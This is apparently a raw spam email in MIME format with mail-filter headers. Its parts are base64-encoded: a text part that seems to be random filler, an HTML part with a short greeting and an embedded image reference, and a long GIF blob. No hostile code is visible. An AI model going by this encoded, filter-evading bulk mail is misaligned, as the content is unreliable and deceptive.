X-Barracuda-Start-Time: 1300474810 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean This is a multi-part message in MIME format. ------=_NextPart_000_001A_01CBE57D.16002F44 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_001_001B_01CBE57D.16002F44" ------=_NextPart_001_001B_01CBE57D.16002F44 Content-Type: multipart/alternative; boundary="----=_NextPart_002_001C_01CBE57D.16002F44" ------=_NextPart_002_001C_01CBE57D.16002F44 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: base64 Tlh5NnBoUFY1WWlFSURvSkRMcDdHaHJOYW1pYVhzSnlkNXVzZDdiNldpQXVMUDFkb2Y4VW1u dm1BRGtsVlJKWU4xZU9aZ0tKbTkxWApPVFkwWVZJODgzand4dEZnOWU1SzY3b1RiV3NuVmg5 eFlYbE1HVEpETlNaYTl2Zzh4OUl0N1VhNkZxa295ak1tNFhYQkh3NGllUmlkCmFtYXlrSVBo clFiVzZsYXN1S0Zud3NNMU1HOVFsZlJrclBHQm9sR0RaSW5VVGxjY1dGbmdWWjd4djZiRWJS T3F3a1NJdW1iaFVtWkMKeTBDa3ZQb2hFbENYaEVwZ2oyd0ZhY2V1cGRBN3FweE9mWFdCQWFH NGw2UHF5M3VIVk9kVlJmZTRpRVp3VGxhWjZVb3hTU3AxTzNoYgpXeklIZUxzVE93TFZZeWhJ SGd2RTBIMUpuZ0FaN0cwVDV6cTc4SE9OMXB5UU1Eb2pKSE5BZUM3ckh2Z0UxN29WdUNRczl2 MzFJcEhrClRUdXNxNVFzeU5IMzlOeFlJSkowY3FqYkphMGhxdnM3ZUtwc0Q2S1pIaFNFVGV0 cE4wZ1BnblBQbkZWQjFkeTNMTW1lR1U0ZDBNR0gKT1pXc1AwNVViS3huZWlPM2piV1VONlpo UlJrRnJRYzZEV29qTmoxT1NvWld2RU5FRHpwZXVjbGJSdEc4OEcyQnNlSTNtekc0TXZPNwpY ckJxT09zOE9EN3ZWQnNUN2lrb25UaHpnTnJTOTNQVWtmOVdSclR3VFFQRWk1bmRleHJwZXhP bGEzMTdXRlM0S1BRcjZ6TFBlcGptCmt1bm1TREJVMGQzWTZWVVNxQ01ZZnJkYk9OUFMyWTJh amduWkhNSHhRQmxNbTV0QXYzbUFrcEFYMmZGUzF5UjhDMlY5RXR1aVVEVDQKeGN1UzNHaGVU RjFLS3VxelE3eWlaaGZ1QXhDazFsY29sdTRmWWJoSUU2Z2Vxd0M1dVliajVoQndDMkV0YkhI bjFBcVF6eG00cnM2RgpNeUE2bUNlaUhEQzl2NnR4QllJdG9ZN09qaEl5ekUzOTF1NGRXOGxy QkxxVklKaTl3T3FLQW5tSnNVN1JuWVBlaUpmMkhwajYwQVJ5CjdYd3JCTTIxWWN5Z1h0Vzhp QmFvYWZoRnVvemxNZkpJMjVac0dQanVTR3lEWmtCNUpCa0hFcGNaQkFhZUZIS3hCek43ZFZw VnJMbWcKV0xhdGFrMUV4MXRZcnIwVVpBZ29ZVGwxRXlLVjlXMFR4MGJ4ODJadlJqajdBYVJu eVhCbUhLYjk4TFY2dkpOUXhPYnZFMVFrOFhoeQpYWUttS2J3Zk15ZUk3WENydWc3UlM3Y2xX UXZTRUFncG1PelVRV1pzaTIwZlBydzh2c1BiblFtN3dGUFkzVGNneUIwZWxPdXRHaXhqCg== ------=_NextPart_002_001C_01CBE57D.16002F44 Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: base64 PGh0bWw+PGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9 InRleHQvaHRtbDsgY2hhcnNldD1nYjIzMTIiPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4N CjwhLS0NCi51bm5hbWVkMSB7DQoJd2lkdGg6IDc4MHB4Ow0KCWxlZnQ6IGF1dG87DQoJYmFj a2dyb3VuZC1wb3NpdGlvbjogY2VudGVyOw0KfQ0KLnN0eWxlMSB7DQoJY29sb3I6ICNGRkZG RkY7DQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQouc3R5bGUyIHtjb2xvcjogI0ZGRkZGRn0N Ci5zdHlsZTQge3dpZHRoOiA3ODBweDsgbGVmdDogYXV0bzsgYmFja2dyb3VuZC1wb3NpdGlv bjogY2VudGVyOyBmb250LXNpemU6IDE2cHg7IH0NCi5zdHlsZTYgew0KCWNvbG9yOiAjMDAw MDk5Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWZvbnQtc2l6ZTogMTRweDsNCn0NCi5zdHls ZTgge2NvbG9yOiAjMDAwMDk5fQ0KLnN0eWxlMTEge2ZvbnQtc2l6ZTogMjRweH0NCi5zdHls ZTE2IHtmb250LXNpemU6IDI0cHg7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQouc3R5bGUxNyB7 DQoJY29sb3I6ICNGRjAwMDA7DQoJZm9udC1zaXplOiAxNnB4Ow0KfQ0KLnN0eWxlMTkge2Nv bG9yOiAjMDAwMDAwfQ0KLnN0eWxlMjEge2ZvbnQtc2l6ZTogMTRweH0NCi5zdHlsZTIyIHsN Cglmb250LXNpemU6IDI0Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KLnN0eWxlMjgge2Nv bG9yOiAjMDAwMDAwOyBmb250LXNpemU6IDE2cHg7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQou c3R5bGUyOSB7Y29sb3I6ICMwMDAwMDA7IGZvbnQtc2l6ZTogMTRweDsgfQ0KLnN0eWxlMzEg e2NvbG9yOiAjMzMwMDk5OyBmb250LXdlaWdodDogYm9sZDsgfQ0KLnN0eWxlMzMge2NvbG9y OiAjMzMwMDk5OyBmb250LXdlaWdodDogYm9sZDsgZm9udC1zaXplOiAyNHB4OyB9DQotLT4N Cjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT48Y2VudGVyPg0KPGJyPrmn16PE47/swNa8qs/p ITxicj4NCjxicj48aW1nIHNyYz0iY2lkOjAwMjkwMWNiZTU3ZCQxNTJkOTIzMiQ4NjlmYzIz MkB5cmlzeXVwamtjIj48YnI+PGJyPg0KPC9ib2R5PjwvaHRtbD4= ------=_NextPart_002_001C_01CBE57D.16002F44-- ------=_NextPart_001_001B_01CBE57D.16002F44 Content-Type: image/gif; name="dREjPIaT.gif" Content-Transfer-Encoding: base64 Content-ID: <002901cbe57d$152d9232$869fc232@yrisyupjkc> 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 